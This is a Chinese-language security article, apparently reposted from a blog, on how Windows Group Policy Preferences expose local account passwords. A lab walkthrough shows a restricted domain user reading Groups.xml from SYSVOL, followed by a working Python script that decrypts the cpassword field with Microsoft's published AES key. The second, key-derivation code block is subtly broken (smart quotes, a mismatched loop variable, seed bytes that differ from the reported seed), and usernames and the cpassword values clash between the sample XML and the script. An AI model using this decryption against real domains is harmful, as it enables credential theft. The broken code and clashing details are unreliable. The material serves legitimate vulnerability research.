Windows Sever 2008 的组策略选项(GPP)是一个新引入的插件,方便管理员管理的同时也引入了安全问题,下面介绍这个安全问题:

Group Policy Preferences(GPP)简介

Group Policy Preferences即组策略首选项,是Windows Server 2008中新增加的一套客户端扩展插件,由20多个新的客户端扩展(CES)组成,它可以完成很多组策略无法进行的系统及应用配置,如:驱动映射、添加计 划任务、管理本地用户和组等。例如,当你需要配置一个网络共享盘和共享打印机的本地映射时,传统的WIN2003域就只能使用用户登录脚本,而GPP的出 现,将能提供替换或简化对这类脚本的依赖,也就是说,即使一位管理员没有学过脚本编写,也能够轻松实现以前只能用脚本实现的一些配置,由此可见GPP在实 现标准化管理以及帮助保护网络的安全方面将发挥重要作用。

部署GPP时存在的问题

GPP最常用的一项基本功能——远程创建本地账户,这个功能允许域管理员在域控制端远程向域内主机添加本地账户以方便管理,通过仔细研究其运行机制
上的漏洞,研究者发现了仅使用域受限用户对GPP创建账户的破解。下面简单的向大家介绍一下GPP的部署方法,首先搭建了一个两台主机的实验环境,一台
Windows Server 2008作为DC,一台Windows XP
Pro作为域内主机,接下来创建一个域环境以及一个域受限用户alala,首先打开DC上的group policy management:

选择edit,会出现group policy management
editor对话框,接下来我们就可以远程向域内的XP主机添加本地用户了,如下图选择computer configuration(或user
configuration,两者均可),点击local users and groups,右键点击空白创建账户。

这里创建一个本地用户testuser,密码为Local*P4ssword。添加domain computers 到group policy
object中,并启用,这样新的账号就在DC端创建成功,效果是这个账号会添加到所有的domain
computers中,使用XP主机登陆域,命令行下使用命令“gpupdate && net
user”更新组策略,成功后新创建的这个用户testuser就自动添加到本地用户中了。这就是GPP最常用的远程添加本地用户功能,通常管理员会给这
个用户添加相应权限,这里不再探讨,下面将演示如何通过域受限用户alala破解本地账户testuser。


这个账户是如何下载到本地计算机的呢?在XP上使用wireshark抓包

我们看到一个主机下载了一个xml文件

sysvol\domainname\policy{31B2F340-016D-11D2-945F-00C04FB984F9}\MA 
CHINE\Preferences\Groups\Groups.xml,而在域环境下sysvol这个共享目录对于任何域用户都是可读的,

我们以受限用户alala登陆域,成功打开Groups.xml后我们看到如下信息:

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="testusername" image="0" changed="2011-12-26 10:21:37" uid="{A5E3F388-299C-41D2-B937-DD5E638696FF}">
<Properties action="C" fullName="" description=""  cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="" userName="MyLocalUser" />
</User>
</Groups>

其中有我们创建的账户testusername、创建时间、以及一串加密后的字符串(此文件中还有更多信息,这里只截取一段进行说明)。接下来就是
如何破解这段字符串,通过查找MSDN上的product behavior appendix,微软对加密方式进行了简单的描述:

这段话说明账户的密码是通过AES256进行加密存储,并且明白无误的提供了32byte的密钥,有了加密算法和密钥,接下来就是解密的工作了,在
这里我使用了python的一个第三方库pycrypto(可以在https://www.dlitz.net/software/py
crypto进行下载),这个库提供了目前大多数的加密及解密算法的python函数实现,通过调用这个库我们通过几行简单的python代码就可以对密
码达成破解,代码如下所示:

import sys
from Crypto.Cipher import AES
from base64 import b64decode
key = """
4e  99  06  e8  fc  b6  6c  c9  fa  f4  93  10  62  0f  fe  e8
f4  96  e8  06  cc  05  79  90  20  f4  09  a4  33  b6  6c  1b
""".replace(" ","").replace("\n","").decode('hex')
cpassword = "HUmlwOLugH3wCiPXzPecmXGKWr3DDO/wSQQLINWfcV4"
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
o = AES.new(key, AES.MODE_CBC).decrypt(password)
print (o[:-ord(o[-1])].decode('utf16')) 

运行结果如下:

密钥生成机制的简单验证

为了澄清GPP创建账户的加密机制,接下来我们对突破方法中最关键的AES密钥也进行了简单的分析,在MSDN的说明中,同时给出了这个密钥的生成算法:

CryptAcquireContext( &hCryptProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT);
CryptCreateHash( hCryptProv, CALG_SHA1, 0, 0, &hHash );
CryptHashData(hHash, (BYTE *)szKey, strKey.GetLength(), 0);
CryptDeriveKey(hCryptProv, CALG_AES_256, hHash, CRYPT_NO_SALT | CRYPT_EXPORTABLE, &hKey); 

其中的CryptDeriveKey()函数的算法,微软也进行了详细的说明,这里不再赘述,将其提供的算法转换成python代码如下 :

from hashlib import sha1
def prehash(key, byte):
  return sha1(‘ ’.join([chr(ord(i)^byte) for I in sha1(key).digest()]+[chr(byte)]*44)).digest()
def cryptderivekey(key):
  return (prehash(key, 0x36)+prehash(key,0x5c))[:32]
print cryptderivekey(‘ ’.join(chr(i) for I in [0x71, 0x46, 0x32, 0x0f, 0x64, 0x10, 0x00])
).encode(‘hex’)

为了验证这个算法是否正确,接下来需要找出生成密钥的种子,采取的方法是使用APIMONITOR工具hook掉系统进程winlogon.exe,如下图:
从CryptHashData ()函数的参数中就找到了种子

{0×71,0×60,0×46,0×32,0x0f,0×64,0×10}

将这个种子填入到代码中,生成的密钥为

4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b

通过对比这个正是MSDN所提供的32byte AES密钥。

via[secKungFu]

源链接

Hacking more

...